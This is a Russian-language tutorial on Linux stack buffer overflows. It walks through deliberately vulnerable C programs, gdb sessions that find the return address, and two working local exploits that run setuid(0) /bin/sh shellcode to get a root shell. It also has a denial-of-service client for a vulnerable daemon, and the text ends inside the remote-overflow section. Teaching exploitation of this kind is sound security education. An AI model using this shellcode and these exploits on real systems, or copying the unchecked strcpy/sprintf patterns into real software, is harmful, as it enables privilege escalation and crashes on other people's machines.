Переполнение буфера для чайников

Переполнение буфера для чайников

Бродя по многочисленным форумам, смотря рассылки и т.д. Я наткнулся на один очень частный вопрос. Звучит он примерно так: "Я не пойму технику переполнения буфера, объясните, пожалуйста!". В данном материале я бы хотел рассмотреть технику полностью. Весь материал будет рассчитан для ОС Linux. Я постараюсь затронуть тему локального и удаленного переполнения буфера. Постараюсь внятно объяснить все. Я думаю, этот материал будет понятен даже новичку.

Призы для победителей конкурса предоставил компьютерный интернет магазин www.PlanetaShop.ru,
тел.: (095) 795-0903. 
D4rk, darkeagle@list.ru
Kids Buffer Overflow Paper. Бродя по многочисленным форумам, смотря рассылки и т.д. Я наткнулся на один очень частный вопрос. Звучит он примерно так: "Я не пойму технику переполнения буфера, объясните, пожалуйста!". В данном материале я бы хотел рассмотреть технику полностью. Весь материал будет рассчитан для ОС Linux. Я постараюсь затронуть тему локального и удаленного переполнения буфера. Постараюсь внятно объяснить все. Я думаю, этот материал будет понятен даже новичку.

Итак, пора приступить к изучению.

Переполнение буфера это, пожалуй, самая распространенная ошибка как в больших приложениях, так и в маленьких утилитах. Впервые техника переполнения буфера была предпринята в нашумевшем черве конца 80-х годов - черве Роберта Морриса. С тех пор, данная уязвимость стала такой популярной, что на данный момент число эксплоитов, которые написаны на основе данной уязвимости, перевалило уже за отметку более 2-х тысяч. Из всех уязвимостей, которые на данный момент известны миру, переполнение буфера занимает 1-ое место. Ежедневно обнаруживается огромное количество ошибок на основе переполнения буфера. Для примера, подпишитесь на рассылку новостей bugtraq, и составьте процентное соотношение обнаруженных уязвимостей. У меня вышло примерно 35-40 % уязвимостей основанных на переполнении буфера. А ведь это только публичные данные! Представьте, что находится в закрытых источниках, там примерно такое же соотношение.

Что-то я уж заговорился :) Давайте перейдем к обсуждение данной ошибки.

Скажу, что для изучения данного материала, у Вас должны быть хотя бы начальные знания языка Си под Linux. Для дальнейшей работы нам понадобятся следующие инструменты: gcc, gdb, gedit (но можно и другой редактор).

Теперь перейдем к непосредственному объяснению техники переполнения. Допустим, Вы написали утилиту, которая принимает входную строку (первый аргумент). Далее она вызывает системный вызов утилиты "ls" и ищет файл/директорию. В случае если файл/директория найдены, то программа оповещает пользователя о том, что такой файл/директория существуют в системе. Давайте посмотрим на пример такой программки. 

[=============================pre#1 util.c==========================]
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char filename[255], cmd[600];

if ( argc != 2 )
{
printf("\n\nusage: %s <filename/dir>\n\n", argv[0]);
exit(0);
} //usage rulezz :)

strcpy(filename, argv[1]); //copy into filename 1st argument
snprintf(cmd, 600, "ls |grep %s", filename); 
                            //copy cmd-line to execute via system();
system(cmd); //execute
return 0;
}
[==================================pre#1 util.c========================]

Давайте откомпилируем программу и попытаемся запустить: 

<p>
[root@localhost boft]# gcc util.c -o util
[root@localhost boft]# ./util aaaaaaaaaaaaaaaaaa
[root@localhost boft]#
Итак, программа не нашла файла/директории в текущем каталоге. Теперь попробуем создать файл в текущем каталоге. 
[root@localhost boft]# touch something.file
[root@localhost boft]# ./util something.file
something.file
[root@localhost boft]#

Так, мы создали файл с помощью стандартной утилиты touch в системе Linux, и программа оповестила нас о том, что такой файл существует в системе. Вроде ничего подозрительного и нет. Никакого переполнения нет в системе. Согласен, программе ведет себя вполне стандартно. Теперь давайте попробуем ввести название файла более 267 символов. Потом объясню, почему именно более 267 символов. Итак: 

[root@localhost boft]# ./util `perl -e 'print "A"x268'`
Segmentation fault (core dumped)
[root@localhost boft]#
Опа... Что мы видим :) Сейчас мы использовали синтаксис языка perl. Строка `perl -e 'print "A"x268'` говорит о том, что в качестве первого аргумента будет значение "A" общей суммой символов равной 268. Т.е. программа в качестве первого аргумента получит такое: A = 268 символам. Идем далее... Программа ничего нам не вывела, а выскочило странное сообщение "Segmentation fault (core dumped)". Чтобы оно могло значить??? А значит оно одно. Наша программа повела себя нестандартно и что-то там произошло. А что именно я попытаюсь сейчас объяснить. В системе Unix (как и в Win32) для хранения данных используется "стек". Именно в нем хранятся различные значения переменных (да и они сами там хранятся) в момент запуска программы. После закрытия программы все данные выгружаются из "стека". Стек можно сравнить со складом :) Конечно это довольно грубое объяснение, но все же. Так вот, в нашей программе мы используем несколько буферов. А именно буфер для хранения значения переменной "filename" и буфер переменной "cmd". Буфер "cmd" нас не интересует. А вот буфер переменной "filename" нам более интересен. А все потому, что именно данная переменная используется как имя файла/директории, истоки которого берутся из первого входного аргумента при запуске программы. Копирование строки происходит путем стандартной в языке Си функции strcpy(); Синтаксис ее таков:

strcpy(строка_в_которую_нужно_копировать_данные, строка_из_которой_следует_копировать);

Так вот строка в коде:

strcpy(filename, argv[1]);

Говорит о том, что в переменную filename нужно копировать первый входной аргумент программы. Но взглянем выше, и мы увидим следующее: 

char filename[255];
Вышеприведенная строка является объявлением переменной filename как типа char (символьного), который состоит из 255 массивов. То есть данная переменная имеет входной буфер на 255 символов. Получается, мы туда можем поместить 255 символов из входного аргумента нашей программы. Итак... Я думаю, вы уже догадались о том странном сообщении. Если нет, то оно значит то, что мы ввели более 255 символов во входной буфер, и программа вызвала ошибку т.к. размер, введенный в аргументе, превышает отведенный размер буфера переменной. Именно это и называется переполнение буфера. А теперь попробуйте сформулировать определение...

Переполнение буфера - это буфер, значение которого определяется ранее в программе и в последующий момент выходит за рамки определяемости (т.е. переполняется). Несколько запутанно и некорректно. Но каждый может для себя составить определение этому словосочетанию :) Для меня же понятнее мое определение.

Двигаемся дальше. Я думаю все линуксоиды знают очень хорошую и нужную утилиту gdb. Это утилита является встроенным отладчиком в системах Unix. gdb расшифровывается как GNU Debugger. Теперь давайте запустим нашу утилиту в этом отладчике и попробуем ввести длинное имя файла/директории. 

[root@localhost boft]# gdb util
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...Using host libthread_db 
library "/lib/tls/libthread_db.so.1".

(gdb) r `perl -e 'print "A"x1000'`
Starting program: /home/boft/util `perl -e 'print "A"x1000'`
Detaching after fork from child process 2861.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

Итак, мы ввели 1000 символов "A" в первый аргумент программы. И что мы видим? Программа приняла 1000 символов "A" и попыталась осуществить поиск. Но не тут то было :) Буфер переменной-файла равен всего 255 символов. И поэтому произошло переполнение. Строка 0x41414141 in ?? () говорит о том, что наша утилита попыталась обратится по адресу 0x41414141, но там ничего и нет :) Почему именно 0x41414141, так это потому что значение "A" в шестнадцаричном hex формате равно 41. А адрес у нас состоит из 8 символов. Поэтому последние четыре символа "A" будут адресом, к которому после переполнения обратится наша программа. Для более детального закрепления давайте рассмотрим следующий пример. Как я говорил ранее для переполнения нам нужно более 268 символов. Смотрим пример:

(gdb) r `perl -e 'print "A"x268'`BBBB
Starting program: /home/boft/util `perl -e 'print "A"x268'`BBBB
Detaching after fork from child process 2898.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

И что мы видим :) А видим мы следующие. Для переполнения буфера нам нужно 268 символов. Это значение, при котором буфер полностью заполняется до краев :). Т.е. в вышеприведенном примере мы записали 268 символов "A" и четыре символа "B". Получается, что буфер заполняется до краев значением "A", а далее мы указываем по какому адресу ему следует обращаться после переполнение. Мы указываем ему 4 символа "B", поэтому строка 0x42424242 in ?? () означает что после полного переполнения адрес по которому обратится функция будет указывать на адрес "B" в шестнадцаричном -hex формате. А теперь взглянем на следующий пример: 

(gdb) r `perl -e 'print "A"x268'`BBBA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/boft/util `perl -e 'print "A"x268'`BBBA
Detaching after fork from child process 2920.

Program received signal SIGSEGV, Segmentation fault.
0x41424242 in ?? ()
(gdb)

Взглянем на адрес, по которому после переполнения обращается функция. Он равен: 0x41424242. А теперь взглянем на запуск программы: 

(gdb) r `perl -e 'print "A"x268'`BBBA
Starting program: /home/boft/util `perl -e 'print "A"x268'`BBBA

В аргументе присутствуют 268 символов "A" и адрес равный BBBA. А теперь переведите его в hex формат. У меня получилось вот что: 0x42424241, а у компьютера вот: 0x41424242. Из этого можно судить, что компьютер читает значения как арабы или китайцы. Т.е. справа налево. Ну и конечно сверху вниз. Поэтому в системе Unix (да и в Win32) стек растет сверху вниз. Получается, что самый большой адрес будет наверху, а далее стек будет убывать. Примерный вариант стека в стандартной программе таков: 

стек (адрес вершины стека = 0xbfffffff)
	       __
       	       || ДАННЫЕ
       	       ||
       	       ||
       	       \/ АДРЕС
Т.е. в случае с нашим переполнением программа себя ведет в стеке так: Идут данные... Если все в порядке, то программа обычно завершает свою работу и выгружается из стека. В случае переполнения ДАННЫЕ превышают норму и уже АДРЕС будет указывать не на выход из функции ( в нашем случает это return в main() ), а на что-то другое ( в нашем случае это последние 4 символа в аргументе. )

Давайте взглянем на следующее. Я думаю, вы еще не закрыли gdb. Введите следующую команду. 

(gdb) i r
eax            0x0      0
ecx            0xbffff20c       -1073745396
edx            0x0      0
ebx            0x4016e800       1075243008
esp            0xbffff6b0       0xbffff6b0
ebp            0x41414141       0x41414141
esi            0x40016640       1073833536
edi            0x8048510        134513936
eip            0x41424242       0x41424242
<остальное опущено>
(gdb)
Мы видим регистры слева, а справа их значения. Помните, я Вам говорил, что для переполнения нужно ввести 268 символов, а не 255 как определено. Теперь взгляните на это: 
ebp            0x41414141       0x41414141
Так вот 268 символов это и есть переполнение при котором значение регистра ebp затирается на значение входного аргумента в hex формате ( в нашем случае на "A" в hex формате ).

Т.е. попробуйте ввести такое в нашу утилиту: 

`perl -e 'print "A"x267'`

(gdb) r `perl -e 'print "A"x267'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/boft/util `perl -e 'print "A"x267'`
Detaching after fork from child process 2942.

Program exited normally.
(gdb)
Мы видим, что программа завершилась нормально без каких-либо ошибок и переполнений. Взглянем на значения регистров: 
(gdb) i r
The program has no registers now.
(gdb)
А их и нет :) Программа завершилась нормально и выгрузилась из памяти.

А попробуйте ввести такое значение: 

`perl -e 'print "A"x268'`

(gdb) r `perl -e 'print "A"x268'`
Starting program: /home/boft/util `perl -e 'print "A"x268'`
Detaching after fork from child process 2948.

Program received signal SIGSEGV, Segmentation fault.
0x4003f900 in __libc_start_main () from /lib/tls/libc.so.6
(gdb)
Видно что программа завершилась с ошибкой и в качестве адреса по которому она обратится (адресом возврата) является сама функция main() из библиотеки libc. И поэтому для того чтобы указать свой адрес мы использовали 4 дополнительных символа. Они переводились в hex формат и указывали на адрес возврата. При просмотре регистров мы увидим, что регистр ebp затерся значение "A" в hex. Теперь давайте взглянем на другой регистр. Название ему EIP. 

eip            0x41424242       0x41424242

Мы видим, что его адрес перезаписался на тот адрес, который мы указали. Т.е. на BBBA в hex формате. Я теперь хочу немного отклониться и рассказать вам об этих самых регистрах процессора.


РЕГИСТРЫ.


Вообще регистры это некое подобие строителей внутри процессора. Они как бы получают данные и складывают их в компьютере. Т.е. в случае со строителями они строят дом/гараж и т.д. Они получают данные и складывают их, а далее некая программа пытается прочесть информацию из этих регистров. Количество регистров в архитектуре процессора x86 большое. И с каждым разом все увеличивается и увеличивается. Они бывают как 16-ти разрядные, так и 32-х. Сейчас я хочу рассказать более детально об основных регистрах процесорра.


регистр EIP - это регистр содержит в себе адрес функции, на который должна перепрыгнуть программа в какое-либо действие. В нашем случае адрес eip был равен BBBA = 0x41424242. А что расположено по этому адресу? А ничего. В дальнейшем мы разберем эту тему.


регистр ESP - это регистр, с помощью которого можно бегать по стеку. Т.е. обращаться к какому либо адресу в стеке.


регистр EBP - это регистр, который дает нам возможность прямого обращения к данным, находящимся в стеке.
Эти три регистра считаются основными. Понимание их значений является, по сути, основным фундаментом в понимании техники переполнения буфера. Итак, пора двигаться далее...


ТЕХНИКА ПЕРЕПОЛНЕНИЯ.


Думаю, вы уже наглотались теории по самые уши :) Ну ничего осталось совсем чуть-чуть. Я сейчас постараюсь максимально внятно объяснить процесс переполнения, а далее нам останется только осуществить все на практике. И мы уже будем на коне!
Итак, поехали...


Процесс переполнения происходит следующим образом:


Вы определяете размер буфера и его крайний край :) (т.е. значение при котором регистр ebp затрется). Далее. Подготавливаете "мусорный буфер".
Мусорный буфер - это данные, которые просто заполнят стек ненужной информацией для переполнения буфера. Далее Вы наглядно это увидите. Потом мы копируем шеллкод в буфер. О том, что такое шеллкод я Вам сейчас поведаю.
Шеллкод - это некий код, переведенный в машинные инструкции. Почему именно "шеллкод", так это, потому что часто после его исполнения на компьютере предоставляется доступ к оболочке Unix (т.е. к shell-оболочке). Шеллкод может быть локальным и удаленным.


Локальный шеллкод - это код для локальных программ, которые исполняются на локальной машите. Т.е. пользователь работает за компьютером, в котором имеется уязвимая программа. После эксплуатации, которой, пользователю сразу представятся права уязвимой программы. Т.е. допустим, программа запущена с правами супер-пользователя (root), а у пользователя допустим права games (игровые). Когда пользователь (атакующий) успешно проэксплуатирует программу, у него появятся права супер-пользователя в локальной машине.


Удаленный шеллкод - это код для удаленных демонов (программ серверов). Т.е. например Вы обнаружили уязвимость в каком либо сервере. При подключении на который,  передается длинная строка, а далее сервер завершает работу с ошибкой переполнения буфера. В данном случае пользователь не имеет прав на удаленной машине. Поэтому, написав эксплоит, который бы переполнял буфер и исполнял удаленный шеллкод с правами запущенного сервера. Часто удаленные шеллкоды после исполнения открывают на удаленной машине порт, после подключения на который, предоставляется командная строка (шелл) с правами запущенного сервера.


Итак, с шеллкодом мы разобрались. Двигаемся далее. После копирования шеллкода в буфер, мы должны указать адрес нашего шеллкода, чтобы после переполнения, уязвимая программа обращалась на инструкцию заданную в шеллкоде. То бишь на инструкцию появления командной строки. Если все это представить в уме, то это примерно высветится так:

 
	стек		<...shellpre...>
	 ||
	 || Данные (esp)
	 ||	происходит переполнение, и адрес eip указывает на шеллкод
     ~shellpre~ <---------------------------------------------------\
	 ||							      |
	 || 							      |
	 \/ -X- Адрес возврата на функцию (eip)-----------------------=


Для того, чтобы узнать адрес возврата на инструкцию (шеллкод у нас) мы будем использовать отладчик gdb. Для размещения в правильном направлении нам понадобится метод "тык". :) Т.е. опять же мы узнаем "край буфера" путем перебора. В нашей утилите он равен 268 символам. Т.е. как было ранее показано наш адрес будет располагаться в радиусе 4-х символов переведенных в формат hex :).
В нашем случае нам нужно разместить наш адрес по следующим параметрам:
268+4 = 268+1(269)+1(270)+1(271)+1(272). Наш адрес ляжет в радиус 268 -- 272. Получается как раз 4 символа (байта) и 8 (4 символа в hex) байт в качестве указания адреса на который будет передано управление после переполнения.


Итак, думаю довольно сухомятки. Пора приступить к реалиям. Для начала давайте снова запустим нашу программу в отладчике gdb.

(gdb) r `perl -e 'print "A"x1000'`
Starting program: /home/boft/util `perl -e 'print "A"x1000'`
Detaching after fork from child process 3404.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Происходит переполнение. Вспомните регистр ESP.
Давайте взглянем внутрь него:

(gdb) x/200x $esp
<................[опущено]...............>
0xbffff550:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff560:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff570:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff580:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff590:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff600:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff610:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff620:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff630:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff640:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff650:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff660:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff670:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff680:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff690:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6b0:     0x41414141      0x41414141      0x41414100      0x41414141
---Type  to continue, or q  to quit---
0xbffff6c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff6f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)


Внимание!!! В вашей системе может быть по-другому.
Итак, что мы видим. А видим мы следующее. Слева у нас как раз те адреса возврата на данные, которые расположены справа. То бишь на данные символов "A". Из этого может следовать, что после переполнения наша уязвимая утилита обращается по одному из этих адресов, в которых имеется значение "A". На ум сразу приходит, что после того как шеллкод будет расположен, он успешно должен исполниться, после того как мы успешно засунем адрес возврата на наш код.


Итак, пора всю нашу занудную теорию перенести в практические действия. Сейчас я приведу код эксплуататора для нашей утилиты, и мы подробно разберем его.
В качестве адреса я взял один из вышеприведенных адресов, значение у которого 0x41414141.

[================================pre#2 ex_util.c=============================]
#include 
#include 

char shellpre[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
long RET;
int i;
char buf[1000];
char *p;

RET = 0xbffff660; // адрес в Вашей системе может быть другой.

p = buf;

memset(buf, 0x41, 450+1-strlen(shellpre)); // тот самый "мусор" :)
sprintf(buf+450+1-strlen(shellpre), "%s", shellpre); 
                                 // заполняем шеллкодом после "мусора"

for ( i = 268; i <= 272; i+= 4 )
*(long*)(p+i) = RET;

execl("util", "util" , buf, NULL);
}
[=================================pre#2 ex_util.c=========================]


Итак, давайте испробуем наш код.

[root@localhost boft]# gcc ex_util.c -o ex_util
[root@localhost boft]# ./ex_util
sh-3.00# exit
exit
[root@localhost boft]#


Работаем безупречно :) Все, что и требовалось доказать. Теперь я попытаюсь все в коде Вам разъяснить. Итак, шеллкод написан мной. Я считаю его одним из маленьких локальных шеллкодов для Linux. В нем есть функция setuid(0);.
В начале мы объявляем переменные. Переменную RET, для того чтобы в ней хранить наш адрес. Далее идет переменная-индекс. Она нужна для запуска цикла добавления адреса на наш шеллкод. Следующая переменная "buf", нужна для того, чтобы полностью подготовить наш код. Вида . Переменная "p" - это указатель на наш буфер данных. Она нужна для того, чтобы посимвольно добавить адрес возврата на код.
Итак, далее идет уже код. В первой строке кода мы присваиваем переменной RET адрес на наш код. Далее переменной "p" указываем на то, что она теперь стаем указателем на наш буфер. Потом мы заполняем наш буфер "мусором" для того чтобы переполнить буфер данными, а далее положить шеллкод после "мусора". Далее идет цикл for (...). В нем мы, как уже было сказано, добавляем адрес с "краев" на 4 байта вперед для того, чтобы адрес поместился полностью. Следующая строка говорит нам о том, что бы запускаем нашу утилиту с заполненным буфером в качестве первого входного аргумента.
Вот в принципе и все! :)


В данном примере я показал простейшее переполнение на основе входного параметра. Так же мне хотелось бы Вам еще показать переполнения, основанные через "Переменные окружения" и удаленные переполнения буфера.


ПЕРЕПОЛНЕНИЕ БУФЕРА ЧЕРЕЗ "ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ".


Я думаю, многие знают, что такое Переменная Окружения. Если нет, то переменные окружения это некие хранилища информации :). Они используются для того, чтобы хранить какую либо информацию. Но очень часто при написании больших программ, программисты допускают ошибки переполнения буфера при передачи этих самых данных через эти самые переменные ; -). Давайте рассмотрим пример написания такой программки.

[===================================pre#3 env.c============================]
#include 
#include 

int main(int argc, char *argv[])
{
 char *env;
 char buf[100];
 env = getenv("SOMEDATA");
 if ( env == NULL ) { return 0; }
 sprintf(buf, "%s", env);
 return 0;
}
[====================================pre#3 env.c=========================]


Итак, выше показан пример такой программы, которая берет из переменной окружения "SOMEDATA", с помощью функции getenv(), ее значение и копирует в буфер с использованием функции sprintf(); Синтаксис ее таков:


sprintf(буфер_куда_копировать, формат_копирования, откуда_копировать_данные);


Скажу лишь то, что параметр "формат_копирования", может быть отпущен, но в этом случае возникает другая ошибка программирования. Название ей Ошибки При форматировании Строк. Но об этом читайте в других источниках.


Синтаксис функции getenv() таков:


переменная_куда_копировать_значение = getenv(название_переменной_окружения);


Итак, мы рассмотрели пример уязвимой программы. Напишем пример программы, которая покажет нам, как переполняется в этом случае буфер. Но сначала откомпилируйте эту программу.

[==================================pre#4 env_dos.c========================]
#include 
#include 
#include 

int main(int argc, char *argv[])
{
char buf[1000];

memset(buf, 0x41, 1000);

setenv("SOMEDATA", buf, 1); 
                   //присваиваем переменной-окружения значение находящееся в buf.
execl("env", "env", NULL);
}
[==================================pre#4 env_dos.c==================]


Ну я думаю Вам все должно быть ясно. Единственное скажу про синтаксис функции setenv().
Он таков:


setenv(имя_переменной_окружения, значение, значение_перезаписи - 1 да, 0 - нет);


Все.
Откомпилируйте программу.

[root@localhost boft]# gcc env.c -o env
env.c: In function `main':
env.c:8: warning: assignment makes pointer from integer without a cast
[root@localhost boft]# gcc env_dos.c -o env_dos
[root@localhost boft]# ./env_dos
Segmentation fault (core dumped)
[root@localhost boft]#


Как видно наша уязвимая программа вызвала переполнение. Для того чтобы посмотреть подробности, скажу, что после переполнения в текущей директории должен создаться файл "core". В нем имеется информация о переполнении. Поищите его. Далее его нужно просмотреть через gdb:

[root@localhost boft]# gdb env -core core.2827
GNU gdb 6.0-2mdk (Mandrake Linux)
<...............>
Core was generated by `AAAA'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb)


Вот. Возглянем на регистр ESP для того чтобы вычеслить адрес возврата на шеллкод.

(gdb) x/100x $esp
0xbffff1c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff1d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff1e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff1f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff200:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff210:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff220:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff230:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff240:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff250:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff260:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff270:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff280:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff290:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2d0:     0x41414141      0x41414141      0x41414141      0x41414141
---Type  to continue, or q  to quit---
0xbffff2e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff300:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff310:     0x41414141      0x41414141      0x41414141      0x41414141


(gdb)


Так... Пора писать эксплоит. По сути, он ничем не отличается от предыдушего, только функциями.

[================================pre#5 ex_env.c======================]
#include 
#include 

char shellpre[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
long RET;
int i;

char buf[1000];
char *p;
RET = 0xbffff310; // адрес в Вашей системе может быть другой.

p = buf;

memset(buf, 0x41, 1000+1-strlen(shellpre));
sprintf(buf+1000+1-strlen(shellpre), "%s", shellpre);

for ( i = 0; i <= 500; i+= 4 )
*(long*)(p+i) = RET;

setenv("SOMEDATA", buf, 1);
execl("env", "env" , buf, NULL);
}
[==================================pre#5 ex_env.c=====================]


Ну, я думаю, ничего сложного нет, чтобы разобраться с этим кодом. Скажу лишь то, что т.к. адрес буфера уязвимой программы маленький, я расположил адрес в диапазоне от 0 до 500. Он все равно правильно будет расположен. Так теперь давайте откомпилируем эксплоит и запустим.

[root@localhost boft]# gcc ex_env.c -o ex_env
[root@localhost boft]# ./ex_env
sh-3.00# exit
exit
[root@localhost boft]#


Вот и все, что требовалось доказать :). Переходим к удаленному переполнению буфера.


УДАЛЕННОЕ ПЕРЕПОЛНЕНИЕ БУФЕРА.


Я думаю, многие видели в security рассылках сообщение об очередной ошибке в каком-либо демоне. И в advisory написано, например, что тип атаки является "Удаленным" (Remote). Вначале статьи мы описали принцип локального переполнения. Сейчас я хочу показать Вам пример удаленного переполнения. Мы напишем уязвимый демон. А далее напишем для него эксплоит.
Итак, рассмотрим пример уязвимого сервера.

[================================pre#6 vsrv.c=======================]
#include 
#include 
#include 

#define BUFFER_SIZE 45
#define NAME_SIZE 2048

int handling_client(int c) {
  char buffer[BUFFER_SIZE], name[NAME_SIZE];
  int bytes;

  read(c, name, strlen(name), 0);
  recv(c, name, sizeof(name), 0);
  sprintf(buffer, name);
  send(c, buffer, strlen(buffer), 0);

return 0;
}

int main(int argc, char *argv[]) {
  int Sock, con, client_size;
  struct sockaddr_in srv, cli;

  if (argc != 2)   {
  	fprintf(stderr, "usage: %s port\n", argv[0]);
   	 return 1;
  }

  Sock = socket(AF_INET, SOCK_STREAM, 0);

  srv.sin_addr.s_addr = INADDR_ANY;
  srv.sin_port = htons( (unsigned short int) atol(argv[1]));
  srv.sin_family = AF_INET;

  bind(Sock, &srv, sizeof(srv));

  listen(Sock, 3);

  for(;;) {
    con = accept(Sock, &cli, &client_size);
    if (handling_client(con) == -1)
    fprintf(stderr, "%s: handling() failed", argv[0]);
    close(con);
  }
  return 0;
}
[===============================pre#6 vsrv.c=======================]


Итак, выше приведен листинг простенького сервера. Давайте откомпилируем его и попытаемся запустить.

[root@localhost boft]# gcc vsrv.c -o vsrv
vsrv.c: In function `main':
vsrv.c:35: warning: passing arg 2 of `bind' from incompatible pointer type
vsrv.c:40: warning: passing arg 2 of `accept' from incompatible pointer type
[root@localhost boft]# ./vsrv
usage: ./vsrv port
[root@localhost boft]# ./vsrv 2278


Демон слушает 2278 порт. Попробуем соединиться с этим портом.

[root@localhost boft]# telnet 127.0.0.1 2278
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.


Работает отлично. Я думаю, Вы уже заметили ошибку переполнения в сервере. Т.е. если серверу передать слишком длинную строку, то он завершится с ошибкой. Давайте рассмотрим пример программу, которую в простонародье принято считать DOS-утилита.

[=============================pre#7 vsrv_dos.c==========================]
#include 
#include 
#include 

int main(int argc, char *argv[])
{
int i, sock, count;
char buf[4096];
struct sockaddr_in tgt;

if (argc < 3) { printf("usage : dos   \n\n");
return 0;
}
count = atoi(argv[3]);
tgt.sin_family = AF_INET;
tgt.sin_port = htons(atoi(argv[2]));
tgt.sin_addr.s_addr = inet_addr(argv[1]);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

for (i = 0; i < count; i++) buf[i] = 'A';
connect(sock, (struct sockaddr *)&tgt, sizeof(tgt));
printf("sending... buf = %s\n", buf);
send(sock, buf, sizeof(buf), 0);
close(sock);
}
[========================pre#7 vsrv_dos.c=============================]


Давайте испробуем программу. Не закрывайте сервер.

[root@localhost boft]# gcc vsrv_dos.c -o dos
[root@localhost boft]# ./dos
usage : dos   

[root@localhost boft]# ./dos 127.0.0.1 2278 1000
sending... buf =AAAAA.... 
[root@localhost boft]#


Взглянем на окно сервера.

[root@localhost boft]# ./vsrv 2278
Segmentation fault (core dumped)
[root@localhost boft]#


Вот и переполнение! Взглянем на значение регистра ESP.

[root@localhost boft]# gdb vsrv -core core.3390
GNU gdb 6.0-2mdk (Mandrake Linux)

Core was generated by `AAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) x/200x $esp

0xbffff8e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff900:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff910:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff920:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff930:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff940:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff950:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff960:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff970:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff980:     0x41414141      0x41414141      0x41414141      0x41414141
